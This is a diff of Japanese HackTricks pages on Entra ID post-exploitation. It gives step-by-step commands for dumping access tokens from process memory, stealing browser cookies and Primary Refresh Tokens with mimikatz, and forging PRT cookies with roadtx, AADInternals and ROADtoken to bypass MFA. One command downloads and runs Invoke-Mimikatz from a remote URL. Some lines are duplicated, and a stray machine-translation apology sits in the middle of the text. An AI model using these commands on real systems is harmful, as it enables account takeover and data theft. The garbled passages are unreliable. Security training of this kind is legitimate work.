[https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg) で述べられているように、オンプレミスの AD ユーザー内の **`ProxyAddress`** の値を変更し、Entra ID 管理者ユーザーのメールアドレスを追加し、AD と Entra ID のユーザーの UPN が一致することを確認することが可能でした(これが再び Entra ID です)、例えば **`SMTP:admin@domain.onmicrosoft.com`** のように。この操作により、**このユーザーの同期を Entra ID からオンプレミス AD に強制する**ことができ、ユーザーのパスワードが知られていれば、Entra ID の管理者に**アクセスするために使用できました**
Entra ID からオンプレミス AD に新しいユーザーを同期させるための要件は以下の通りです。唯一の要件は:
Entra ID からオンプレミス AD に新しいユーザーを同期るための要件は以下の通りです。唯一の要件は:
- オンプレミス AD 内のユーザーの属性を制御する(または新しいユーザーを作成する権限を持つ)
- Entra ID からオンプレミス AD に同期するためのユーザーがクラウド専用であることを知っている
- Entra ID からオンプレミス AD に同期するためのユーザーを知っていること
- **ハードマッチ**を行うために、Entra ID ユーザーの immutableID 属性をオンプレミス AD ユーザーに変更できる必要があるかもしれません。
> [!CAUTION]
> Entra ID はもはや Entra ID からオンプレミス AD 管理者同期させることを許可していません。
> Entra ID はもはや Entra ID からオンプレミス AD への管理者同期を許可していません。
> また、これは **MFA をバイパスすることはありません**

View File

@@ -2,38 +2,58 @@
{{#include ../../../banners/hacktricks-training.md}}
## ローカルトークンの保存とセキュリティ考慮事項
## ローカルトークンストレージとセキュリティ考慮事項
### Azure CLI (コマンドラインインターフェス)
### Azure CLI (コマンドラインインターフェス)
トークンと機密データはAzure CLIによってローカルに保存されており、セキュリティ上の懸念があります
1. **アクセストークン**: `C:\Users\<username>\.Azure`にある`accessTokens.json`にプレーンテキストで保存されています。
2. **サブスクリプション情報**: 同じディレクトリにある`azureProfile.json`にはサブスクリプションの詳細が含まれています。
3. **ログファイル**: `.azure`内の`ErrorRecords`フォルダーには、露出した資格情報を含むログが含まれている可能性があります。例えば
3. **ログファイル**: `.azure`内の`ErrorRecords`フォルダーには、次のような資格情報が露出したログが含まれている可能性があります:
- 資格情報が埋め込まれた実行されたコマンド。
- トークンを使用してアクセスされたURL、機密情報を明らかにする可能性があります。
### Azure PowerShell
Azure PowerShellもトークンと機密データを保存しており、ローカルでアクセス可能です:
Azure PowerShellもトークンと機密データを保存しており、ローカルでアクセスできます:
1. **アクセストークン**: `C:\Users\<username>\.Azure`にある`TokenCache.dat`にプレーンテキストで保存されています。
2. **サービスプリンシパルの秘密**: これらは`AzureRmContext.json`に暗号化されずに保存されています。
2. **サービスプリンシパルシークレット**: これらは`AzureRmContext.json`に暗号化されずに保存されています。
3. **トークン保存機能**: ユーザーは`Save-AzContext`コマンドを使用してトークンを永続化することができますが、不正アクセスを防ぐために注意して使用する必要があります。
## 自動ツールでの発見
### 自動ツールでの発見
- [**Winpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS/winPEASexe)
- [**Get-AzurePasswords.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/AzureRM/Get-AzurePasswords.ps1)
## セキュリティ推奨事項
## メモリ内のトークン
プレーンテキストでの機密データの保存を考慮すると、これらのファイルとディレクトリを保護することが重要です:
[**このビデオ**](https://www.youtube.com/watch?v=OHKZkXC4Duw)で説明されているように、クラウドと同期された一部のMicrosoftソフトウェアExcel、Teamsなどは、**メモリ内にプレーンテキストでアクセストークンを保存する可能性があります**。したがって、プロセスの**メモリをダンプ**し、**JWTトークンをgrep**することで、MFAをバイパスしてクラウド内の被害者のいくつかのリソースにアクセスできるかもしれません。
- これらのファイルへのアクセス権を制限する。
- 不正アクセスや予期しない変更のために、これらのディレクトリを定期的に監視および監査する。
- 可能な限り機密ファイルに対して暗号化を使用する
- ユーザーに対して、機密情報の取り扱いに関するリスクとベストプラクティスについて教育する
手順:
1. お気に入りのツールを使用して、EntraIDユーザーと同期されたExcelプロセスをダンプします
2. `string excel.dmp | grep 'eyJ0'`を実行し、出力内のいくつかのトークンを見つけます
3. 最も興味のあるトークンを見つけ、それらに対してツールを実行します:
```bash
# Check the identity of the token
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq
# Check the email (you need a token authorized in login.microsoftonline.com)
curl -s -H "Authorization: Bearer <token>" https://outlook.office.com/api/v2.0/me/messages | jq
# Download a file from Teams
## You need a token that can access graph.microsoft.com
## Then, find the <site_id> inside the memory and call
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/sites/<site_id>/drives | jq
## Then, list one drive
curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq
## Finally, download a file from that drive:
curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'
```
**この種のアクセストークンは、他のプロセス内にも存在する可能性があることに注意してください。**
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,15 +4,15 @@
## Pass the Certificate (Azure)
Azureに参加しているマシンでは、両方のマシンが**NegoEx**認証メカニズムをサポートしている場合、**Entra ID CA**によって発行された証明書を使用して、1台のマシンから別のマシンに認証することが可能です対象として必要なユーザー)。
Azureに参加しているマシンでは、両方のマシンが**NegoEx**認証メカニズムをサポートしている場合、**Entra ID CA**によって発行された証明書を使用して、1台のマシンから別のマシンに認証することが可能です対象として必要なユーザー
超簡略化すると:
- 接続を開始するマシン(クライアント)は、**ユーザーのためにEntra IDから証明書が必要**です。
- クライアントは、PRTやその他の詳細を含むJSON Web TokenJWTヘッダーを作成し、派生キー(セッションキーとセキュリティコンテキストを使用)を使って署名し、**Entra IDに送信**します。
- クライアントは、PRTやその他の詳細を含むJSON Web Token (JWT) ヘッダーを作成し、派生キー(セッションキーとセキュリティコンテキストを使用)を使って署名し、**Entra IDに送信**します。
- Entra IDは、クライアントのセッションキーとセキュリティコンテキストを使用してJWT署名を検証し、PRTの有効性を確認し、**証明書**で**応答**します。
このシナリオでは、[**Pass the PRT**](pass-the-prt.md)攻撃に必要なすべての情報を取得した後:
このシナリオでは、[**Pass the PRT**](az-primary-refresh-token-prt.md)攻撃に必要なすべての情報を取得した後:
- ユーザー名
- テナントID
@@ -20,11 +20,11 @@ Azureに参加しているマシンでは、両方のマシンが**NegoEx**認
- セキュリティコンテキスト
- 派生キー
ツール[**PrtToCert**](https://github.com/morRubin/PrtToCert)を使用して、ユーザーのために**P2P証明書要求**することが可能です。
ツール[**PrtToCert**](https://github.com/morRubin/PrtToCert)を使用して、ユーザーのために**P2P証明書**を**要求**することが可能です。
```bash
RequestCert.py [-h] --tenantId TENANTID --prt PRT --userName USERNAME --hexCtx HEXCTX --hexDerivedKey HEXDERIVEDKEY [--passPhrase PASSPHRASE]
```
証明書はPRTと同じ期間有効です。証明書を使用するには、pythonツール[**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC)を使用して、リモートマシンに**認証**し、**PSEXEC**を実行し、被害者のマシンで**CMD**を開くことができます。これにより、別のユーザーのPRTを取得するために再度Mimikatzを使用することができます。
証明書はPRTと同じ期間有効です。証明書を使用するには、pythonツール[**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC)を使用して、リモートマシンに**認証**し、**PSEXEC**を実行し、被害者のマシンで**CMD**を開くことができます。これにより、別のユーザーのPRTを取得するためにMimikatzを再度使用することができます。
```bash
Main.py [-h] --usercert USERCERT --certpass CERTPASS --remoteip REMOTEIP
```

View File

@@ -4,7 +4,7 @@
## なぜクッキーなのか?
ブラウザの**クッキー**は、**認証とMFAをバイパスする**ための優れたメカニズムです。ユーザーがすでにアプリケーションに認証されているため、セッション**クッキー**を使用して、そのユーザーとして**データにアクセス**することができ、再認証する必要ありません。
ブラウザの**クッキー**は、**認証とMFAをバイパスする**ための優れたメカニズムです。ユーザーがすでにアプリケーションに認証されているため、セッション**クッキー**を使用して、そのユーザーとして**データにアクセス**することができ、再認証必要ありません。
**ブラウザのクッキーの場所**は次のリンクで確認できます:
@@ -14,13 +14,13 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens
## 攻撃
難しい部分は、これらの**クッキーがユーザーのために暗号化されている**ことです。これはMicrosoft Data Protection API**DPAPI**)を介して暗号化されています。これは、クッキーが属するユーザーに結びついた暗号化された[キー](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html)を使用して暗号化されています。このことについての詳細は次のリンクで確認できます:
難しい部分は、これらの**クッキーがユーザーのために暗号化されている**ことです。これはMicrosoft Data Protection API**DPAPI**)を介して暗号化されています。これは、クッキーが属するユーザーに結びついた暗号化された[キー](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html)を使用して暗号化されています。これに関する詳細情報は次のリンクで確認できます:
{{#ref}}
https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html
{{#endref}}
Mimikatzを手に入れれば、次のコマンドを使用して**ユーザーのクッキーを抽出**することができます
Mimikatzを手に入れれば、次のコマンドを使用して、暗号化されていても**ユーザーのクッキーを抽出**することができます
```bash
mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit
```

View File

@@ -4,9 +4,10 @@
## What is a Primary Refresh Token (PRT)?
**Primary Refresh Token (PRT)**は、Azure AD (Entra ID) 認証で使用される長寿命のリフレッシュトークンで、Kerberos TGTに類似しています。これは、Azure ADに参加したデバイスでユーザーがログインすると発行され、資格情報を再入力することなくさまざまなアプリケーションのアクセストークンを要求するために使用できます。各PRTには、**セッションキー**所有証明キーとも呼ばれるが付随しており、リクエストに署名し、クライアントがPRTを持っていることを証明するために使用される対称キーです。PRT自体は不透明で暗号化されたバイナリデータクライアントが読み取れないであり、セッションキーはトークンを要求する際にPRTを含むJWTを**署名**するために使用されます。言い換えれば、PRTを持っているだけでは不十分であり、攻撃者は正当性を証明するためにセッションキー必要とします。これは、認証のためにKerberos TGTとそのセッションキーの両方が必要なことに似ています。
**Primary Refresh Token (PRT)**は、Azure AD (Entra ID) 認証で使用される長寿命のリフレッシュトークンで、Kerberos TGTに類似しています。これは、Azure ADに参加したデバイスでユーザーがログインすると発行され、資格情報を再入力することなくさまざまなアプリケーションのアクセストークンを要求するために使用できます。各PRTには、**セッションキー**所有証明キーとも呼ばれるが付随しており、リクエストに署名し、クライアントがPRTを持っていることを証明するために使用される対称キーです。PRT自体は不透明で暗号化されたバイナリデータクライアントが読み取れないであり、セッションキーはトークンを要求する際にPRTを含むJWTを**署名**するために使用されます。言い換えれば、PRTを持っているだけでは不十分であり、攻撃者は正当性を証明するためにセッションキー必要す。これは、認証のためにKerberos TGTとそのセッションキーの両方が必要なことに似ています。
Windowsでは、PRTとセッションキーはCloudAPプラグインを介してLSASSプロセスにキャッシュされます。デバイスに**TPM**Trusted Platform Moduleがある場合、Azure ADは追加のセキュリティのためにキーをTPMにバインドします。これは、TPMを搭載したデバイスでは、セッションキーがTPM内に保存または使用され、通常の状況下ではメモリから直接読み取ることができないことを意味します。TPMが利用できない場合多くのVMや古いシステム、キーはソフトウェアに保持され、DPAPI暗号化で保護されます。いずれの場合も、管理者権限またはマシン上でのコード実行を持つ攻撃者は、ポストエクスプロイトの一環として**メモリからPRTとセッションキーをダンプする**ことを試み、その後それらを使用してクラウド内でユーザーを偽装することができます。一般的なリフレッシュトークン通常はアプリケーション固有とは異なり、PRTはより広範で、デバイスがほぼすべてのEntra ID統合リソースまたはサービスのトークンを要求できるようにします。
Windowsでは、PRTとセッションキーはCloudAPプラグインを介してLSASSプロセスにキャッシュされます。デバイスに**TPM**Trusted Platform Moduleがある場合、Azure ADは追加のセキュリティのためにキーをTPMにバインドします。これは、TPMを搭載したデバイスでは、セッションキーがTPM内に保存または使用され、通常の状況下ではメモリから直接読み取ることができないことを意味します。TPMが利用できない場合多くのVMや古いシステム、キーはソフトウェアに保持され、DPAPI暗号化で保護されます。いずれの場合も、管理者権限またはマシン上でのコード実行を持つ攻撃者は、ポストエクスプロイトの一環として**メモリからPRTとセッションキーをダンプする**ことを試み、その後それらを使用してクラウド内でユーザーを偽装することができます。
一般的なリフレッシュトークン通常はアプリケーション固有とは異なり、PRTはより広範で、デバイスがほぼすべてのEntra ID統合リソースまたはサービスのトークンを要求できるようにします。
## How Does a PRT Work?
@@ -61,14 +62,22 @@ dsregcmd /status
# KeyProvider = Software Key Storage Provider ⇒ not TPMbound.
# Some builds also show TpmProtected: YES/NO and KeySignTest (run elevated to test).
```
## Dump and user unprotected PRTs
## PRTを渡す
According to [this post](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) on Windows devices **TPMバインディングなし**、PRTとそのセッションキーはLSASSCloudAPプラグインに存在します。そのデバイスでローカル管理者/SYSTEM権限があれば、PRTブロブとDPAPIで暗号化されたセッションキー**LSASSから読み取ることができ、DPAPIをしてセッションキーを復号し、署名キーを導出**して有効なPRTクッキー`xmsRefreshTokenCredential`を生成できます。PRTとそのセッションキーの両方が必要です—PRT文字列だけでは不十分です。
[この投稿](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)によると、**TPMバインディングのない**Windowsデバイスでは、PRTとそのセッションキーはLSASSCloudAPプラグインに存在します。そのデバイスでローカル管理者/SYSTEM権限があれば、PRTバイナリとDPAPIで暗号化されたセッションキー**LSASSから読み取、DPAPIを使用してセッションキーを復号し、署名キーを導出**して有効なPRTクッキー`xmsRefreshTokenCredential`を生成できます。PRTとそのセッションキーの両方が必要です—PRT文字列だけでは不十分です。
### Mimikatz
1. **PRTプライマリリフレッシュトークンがLSASS**(ローカルセキュリティ機関サブシステムサービス)から抽出され、後で使用するために保存されます。
2. **次にセッションキーが抽出されます**。このキーは最初に発行され、その後ローカルデバイスによって再暗号化されるため、DPAPIマスタキーを使用して復号する必要があります。DPAPIデータ保護APIに関する詳細情報は、これらのリソースで見つけることができます: [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) およびその適用については、[Pass-the-cookie攻撃](az-pass-the-cookie.md)を参照してください。
3. セッションキーの復号後、**PRTのための導出キーとコンテキストが取得されます**。これらは**PRTクッキーの作成に重要です**。具体的には、導出キーはクッキーを構成するJWTJSON Webトークンに署名するために使用されます。このプロセスの詳細な説明はDirk-janによって提供されており、[こちら](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)からアクセスできます。
```bash
privilege::debug
sekurlsa::cloudap
# Or in powershell
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
```
**PRTフィールド**には、暗号化されたリフレッシュトークン通常はbase64文字列が含まれており、ProofOfPossessionKeyのKeyValueにはDPAPIで暗号化されたセッションキーこれもbase64が含まれています。
@@ -78,14 +87,17 @@ sekurlsa::cloudap
```bash
token::elevate
dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
# PowerShell version
Invoke-Mimikatz -Command '"token::elevate" "dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect"'
```
`token::elevate`はSYSTEMを偽装し、`dpapi::cloudapkd`コマンドの`/unprotect`はDPAPIマスターキーを使用して提供されたKeyValue blobを復号化します。これにより、平文のセッションキーと、署名に使用される関連するDerived KeyContextが得られます
`token::elevate`はSYSTEMを偽装し、`dpapi::cloudapkd`コマンドの`/unprotect`はDPAPIマスターキーを使用して提供されたKeyValue blobを復号化します。これにより、平文のセッションキーと、署名に使用される関連するDerived KeyおよびContextが得られます
- **Clear key** 平文の32バイトセッションキー16進数文字列として表現
- **Derived Key** セッションキーとコンテキスト値から導出された32バイトキー詳細は以下
- **Context** PRTクッキーの署名キーを導出する際に使用された24バイトのランダムコンテキスト。
> [!NOTE]
> これがユーザーを偽装するために機能しない場合は、**`AADInternals`**を使用してのセクションを確認してください。
> これがユーザーを偽装するために機能しない場合は、**`AADInternals`**を使用している以下のセクションを確認してください。
その後、mimikatzを使用して有効なPRTクッキーを生成することもできます
```bash
@@ -94,13 +106,13 @@ dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
# PRT is obtained from sekurlsa::cloudap (filed "Prt"
dpapi::cloudapkd /context:<ContextHex> /derivedkey:<DerivedKeyHex> /prt:<PRT>
```
Mimikatzは、「Signature with key」という行の後に署名されたJWT`PRT cookie`を出力します。これにはPRTが含まれ、導出されたキーを使用して署名されています。このJWTはコピーされ、ウェブセッションで使用できます。たとえば、攻撃者はブラウザを開き、`login.microsoftonline.com`に移動し、`x-ms-RefreshTokenCredential`という名前のクッキーをこのJWTの値で設定できます。ブラウザがリフレッシュまたはナビゲートすると、Azure ADはセッションを認証済みとして扱いPRTクッキーはSSOが発生したかのように提示されます、指定されたリソースのために認可コードまたはアクセストークンを発行します。実際には、Office 365やAzureポータルのようなリソースに移動します。正当なPRTクッキーが存在する場合、Azure ADは追加のログインなしでアクセスを許可しますPRTはすでに認証されているため、MFAをバイパスします
Mimikatzは、「Signature with key」という行の後に署名されたJWT`PRT cookie`を出力します。これにはPRTが含まれ、導出されたキーを使用して署名されています。このJWTはコピーされ、ウェブセッションで使用できます。たとえば、攻撃者はブラウザを開き、`login.microsoftonline.com`に移動し、`x-ms-RefreshTokenCredential`という名前のクッキーをこのJWTの値で設定ます。ブラウザがリフレッシュまたはナビゲートすると、Azure ADはセッションを認証済みとして扱いますPRTクッキーはSSOが発生したかのように提示されますので、指定されたリソースのために認可コードまたはアクセストークンを発行します。実際には、Office 365やAzureポータルのようなリソースに移動します。正当なPRTクッキーが存在する場合、Azure ADは追加のログインなしでアクセスを許可しますPRTはすでに認証されているため、MFAをバイパスします
また、**`roadtx`**および**`roadrecon`**をPRTクッキーのPRTとともに使用してユーザーを偽装することもできます *(TODO: Find the exact command lines to use roadtx/roadrecon to get credentials from a PRT)*
また、**`roadtx`****`roadrecon`**をPRTクッキーのPRTとに使用してユーザーを偽装することもできます *(TODO: Find the exact command lines to use roadtx/roadrecon to get credentials from a PRT)*
### AADInternals
### Mimikatz + AADInternals
**`AADInternals`** PowerShellモジュールも、以前に取得したPRTとセッションキーを使用して有効なPRTトークンを生成するために使用できます。これは、nonceを使用して新しいPRTトークンを取得するプロセスを自動化するのに便利で、Azure AD Graph APIや他のリソースのためのアクセストークンを取得するために使用できます。
**`AADInternals`** PowerShellモジュールも、以前に取得したPRTとセッションキーを使用して有効なPRTトークンを生成するために使用できます。これは、nonceを使用して新しいPRTトークンを取得するプロセスを自動化するのに便利で、Azure AD Graph APIや他のリソースのアクセストークンを取得するために使用できます。
```bash
# Code from https://aadinternals.com/post/prt/
# Add the PRT to a variable
@@ -124,23 +136,42 @@ $prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey
# Get an access token for MS Graph API
Get-AADIntAccessTokenForMSGraph -PRTToken $prtToken
```
のプロセスは、新しいPRTクッキーンス付きを取得し、それを使用してAzure AD Graph APIのアクセストークンを取得しますユーザーの代理としてクラウドアクセスを示しています。AADInternalsは多くの暗号化を抽象化し、Windowsコンポーネントまたは独自のロジックを内部で使用します。
れは新しいPRTクッキーンス付きを取得し、それを使用してAzure AD Graph APIのアクセストークンを取得しますユーザーの代理としてクラウドアクセスを示しています。AADInternalsは多くの暗号化を抽象化し、Windowsコンポーネントまたは独自のロジックを内部で使用します。
### Mimikatz + roadtx
- まずPRTを更新し、`roadtx.prt`に保存します:
```bash
roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
```
- 現在、`roadtx browserprtauth`を使用してインタラクティブブラウザで**トークンを要求**できます。`roadtx describe`コマンドを使用すると、アクセス トークンにMFAクレームが含まれていることがわかります。これは、今回使用したPRTにもMFAクレームが含まれていたためです。
```bash
roadtx browserprtauth
roadtx describe < .roadtools_auth
```
<figure><img src="../../../images/image (44).png" alt=""><figcaption></figcaption></figure>
#### Mimikatz + roadrecon
mimikatzによってダンプされたコンテキストと派生キーを持っている場合、roadreconを使用して新しい署名付きクッキーを生成することが可能です:
```bash
roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>
```
## 保護されたPRTの悪用
前述の保護にもかかわらず、すでにデバイスを侵害した攻撃者ローカルユーザーまたはSYSTEMとしては、WindowsのトークンブローカーAPIとセキュリティコンポーネントを利用して**新しいアクセストークンを取得するためにPRTを悪用する**ことができます。攻撃者は生のPRTやキーを**抽出する**のではなく、基本的に**「Windowsに自分の代理でPRTを使用するように頼む」**のです。以下のセクションでは、TPM保護が有効な最新のWindowsデバイスでPRTとそのセッショントークンを悪用するための現在有効な技術を概説します。これらの技術はすべて、ターゲットマシンへのポストエクスプロイトアクセスを前提としており、**組み込みの認証フローを悪用することに焦点を当てています**(未修正の脆弱性は必要ありません)。
前述の保護にもかかわらず、デバイスをすでに侵害した攻撃者ローカルユーザーまたはSYSTEMとしては、WindowsのトークンブローカーAPIとセキュリティコンポーネントを利用して**新しいアクセストークンを取得するためにPRTを悪用する**ことができます。攻撃者は生のPRTやキーを**抽出する**のではなく、実際には**「Windowsに自分の代わりにPRTを使用するように頼む」**のです。以下のセクションでは、TPM保護が有効な最新のWindowsデバイスでPRTとそのセッショントークンを悪用するための現在有効な技術を概説します。これらの技術はすべて、ターゲットマシンへのポストエクスプロイトアクセスを前提としており、**組み込みの認証フローを悪用することに焦点を当てています**(未修正の脆弱性は必要ありません)。
### WindowsトークンブローカーアーキテクチャとSSOフロー
最新のWindowsは、ユーザーモードとLSASSローカルセキュリティ機関の両方にコンポーネントを含む組み込みの**トークンブローカー**スタックを介してクラウド認証を処理します。このアーキテクチャの重要な部分は次のとおりです
最新のWindowsは、ユーザーモードとLSASSローカルセキュリティ機関の両方にコンポーネントを含む組み込みの**トークンブローカー**スタックを介してクラウド認証を処理します。このアーキテクチャの重要な部分は以下の通りです
- **LSASS CloudAPプラグイン** デバイスがAzure ADに参加している場合、LSASSはPRTとトークンリクエストを管理するクラウド認証パッケージ`CloudAP.dll``aadcloudap.dll``MicrosoftAccountCloudAP.dll`をロードします。LSASSSYSTEMとして実行はPRTの保存、更新、使用を調整し、TPMとインターフェースを介して暗号操作セッショントークンでPRTチャレンジに署名するなどを実行します。
- **WebアカウントマネージャーWAM** Windows Webアカウントマネージャーは、アプリケーションやブラウザが資格情報を求めることなくクラウドアカウントのトークンを要求できるユーザーモードのフレームワークCOM/WinRT APIを介してアクセス可能です。WAMはユーザーアプリケーションとセキュアなLSASS/TPMバックのPRTとの間のブローカーとして機能します。たとえば、MicrosoftのMSALライブラリや特定のOSコンポーネントは、WAMを使用してログインユーザーのPRTを使用してトークンを静かに取得します。
- **WebアカウントマネージャーWAM** Windows Webアカウントマネージャーは、アプリケーションやブラウザが資格情報を求めることなくクラウドアカウントのトークンをリクエストできるユーザーモードのフレームワークCOM/WinRT APIを介してアクセス可能です。WAMはユーザーアプリケーションとセキュアなLSASS/TPMバックのPRTとの間のブローカーとして機能します。たとえば、MicrosoftのMSALライブラリや特定のOSコンポーネントは、WAMを使用してログインユーザーのPRTを使用してトークンを静かに取得します。
- **BrowserCore.exeとトークンブローカーCOMインターフェース** ブラウザSSOのために、Windowsには**BrowserCore.exe**というコンポーネントが含まれています(*Windows Security\BrowserCore*の下にあります。これは、ブラウザEdge、Chromeの拡張機能などがAzure ADログインのためにPRT派生のSSOトークンを取得するために使用するネイティブメッセージングホストです。内部では、BrowserCoreは`MicrosoftAccountTokenProvider.dll`によって提供されるCOMオブジェクトを利用してPRTベースのクッキー/トークンを取得します。本質的に、このCOMインターフェースは、ユーザーとして実行されている任意のプロセスがSSOトークンを取得するために呼び出すことができるファーストパーティの「トークンブローカー」APIですユーザーがLSASSに有効なPRTを持っている場合
Azure ADに参加しているユーザーがリソースたとえば、Azureポータルにアクセスしようとすると、フローは通常次のようになりますアプリケーションがWAMまたはBrowserCoreのCOMインターフェースに呼び出し、これがLSASSと通信します。LSASSはPRTとセッショントークンTPMによって保護されているを使用して**SSOトークン**を生成します。これはしばしば**PRTクッキー**と呼ばれ、暗号化されたPRTとンスを含む特別なJWTで、PRTのセッショントークンから派生したキーで署名されています。このクッキーはAzure ADに送信され`x-ms-RefreshTokenCredential`ヘッダー内、デバイスとユーザーが有効なPRTを保持していることを証明し、Azure ADがさまざまなアプリケーションの標準OAuthリフレッシュおよびアクセストークンを発行できるようにします。特に、PRTに存在する任意の多要素認証MFA要求は、このSSOプロセスを介して取得されたトークンに引き継がれるため、PRT派生のトークンはMFA保護されたリソースを満たすことができます。
Azure ADに参加しているユーザーがリソースたとえば、Azureポータルにアクセスしようとすると、フローは通常次のようになりますアプリケーションがWAMまたはBrowserCoreのCOMインターフェースに呼び出し、これがLSASSと通信します。LSASSはPRTとセッショントークンTPMによって保護されているを使用して**SSOトークン**を生成します。これはしばしば**PRTクッキー**と呼ばれ、暗号化されたPRTとンスを含む特別なJWTで、PRTのセッショントークンから派生したキーで署名されています。このクッキーはAzure ADに送信され`x-ms-RefreshTokenCredential`ヘッダー内、デバイスとユーザーが有効なPRTを保持していることを証明し、Azure ADがさまざまなアプリケーションのために標準OAuthリフレッシュおよびアクセストークンを発行できるようにします。特に、PRTに存在する任意の多要素認証MFA要求は、このSSOプロセスを介して取得されたトークンに引き継がれるため、PRT派生のトークンはMFA保護されたリソースを満たすことができます。
### ユーザーレベルのトークン窃盗(非管理者)
@@ -154,21 +185,53 @@ BrowserCoreはPRTクッキーを取得するためのCOMクラス`MicrosoftAc
```bash
RequestAADRefreshToken.exe --uri https://login.microsoftonline.com
```
*(Azure AD リフレッシュトークンまたは PRT クッキーを返します)*
*(Azure ADリフレッシュトークンまたはPRTクッキーを返します)*
- **[ROADtoken](https://github.com/dirkjanm/ROADtoken)** & **[ROADtools](https://github.com/dirkjanm/ROADtools)**
ROADtokenは、正しいディレクトリから**`BrowserCore.exe`**を実行し、それを使用して**PRTクッキーを取得**します。このクッキーは、その後ROADtoolsと共に使用して認証し、**永続的なリフレッシュトークンを取得**することができます。
有効なPRTクッキーを生成するために最初に必要なのはンスです。\
これを取得するには:
```bash
ROADtoken.exe --nonce <nonce-value>
roadrecon auth --prt-cookie <cookie>
$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"
$Params = @{
"URI" = $URL
"Method" = "POST"
}
$Body = @{
"grant_type" = "srv_challenge"
}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA
```
*(ンスを生成し、BrowserCoreを呼び出してPRTクッキーを取得し、次にROADtoolsを介してそれを引き換えます)*
[**roadrecon**](https://github.com/dirkjanm/ROADtools)を使用するか:
```bash
roadrecon auth prt-init
```
次に、[**roadtoken**](https://github.com/dirkjanm/ROADtoken)を使用して新しいPRTを取得できます攻撃するユーザーのプロセスからツールを実行します
```bash
.\ROADtoken.exe <nonce>
```
申し訳ありませんが、翻訳する内容が提供されていません。翻訳したいテキストを提供してください。
```bash
Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}
```
次に、**生成されたクッキー**を使用して、Azure AD **Graph**またはMicrosoft Graphを使用して**トークン**を**生成**して**ログイン**できます:
```bash
# Generate
roadrecon auth --prt-cookie <prt_cookie>
# Connect
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>
```
### **Web Account Manager (WAM) APIs**
攻撃者は、ユーザーレベルのプロセスから正当なMicrosoft認証ライブラリ**MSAL**、**WAM APIs**、**WebAuthenticationCoreManager**を使用して、TPM保護されたPRTを利用してトークンを静かに取得します。
- **[aadprt](https://posts.specterops.io/)**
```bash
execute-assembly aadprt.exe
@@ -201,7 +264,7 @@ Admin/SYSTEMは、他のユーザーの実行中のセッションを偽装し
### **直接LSASSおよびトークンブローカーとの相互作用高度な技術**
管理者はLSASSを使用してPRTを悪用することができます。たとえば、管理者はLSASSにコードを注入したり、内部CloudAP関数を呼び出してLSASSにトークンを生成させることができます。Dirk-janの研究では、管理者が「暗号APIを使用してLSASS内のPRTキーと相互作用できる」と指摘されています。実際には、LSASSの独自の関数を使用してAPIフックやRPCなどの技術を介して、利用可能な場合PRTクッキーを生成することを意味します。別のアプローチは、セッションキーがメモリに表示される可能性のあるウィンドウを悪用することです。たとえば、PRTの更新やデバイス登録の瞬間に、使用のために暗号化されていない状態で表示される場合です。このような攻撃はかなり複雑で状況依存です。より簡単な管理者の戦術は、既存のトークンハンドルやキャッシュを悪用することです。LSASSは、メモリ内のアプリ用に最近発行されたリフレッシュトークンをキャッシュしますDPAPIで暗号化されています。決意のあるSYSTEM攻撃者は、これらのDPAPI保護されたトークンを抽出し管理者が取得できるユーザーのマスターキーを使用して、特定のアプリケーションのリフレッシュトークンを直接盗むことを試みることができます。しかし、最も簡単で一般的な方法は、偽装と文書化されたトークンブローカーインターフェースの使用であり、これによりAzure ADが新しいトークンを発行することが保証されますすべての適切なクレームを持って暗号を解読しようとするのではなく。
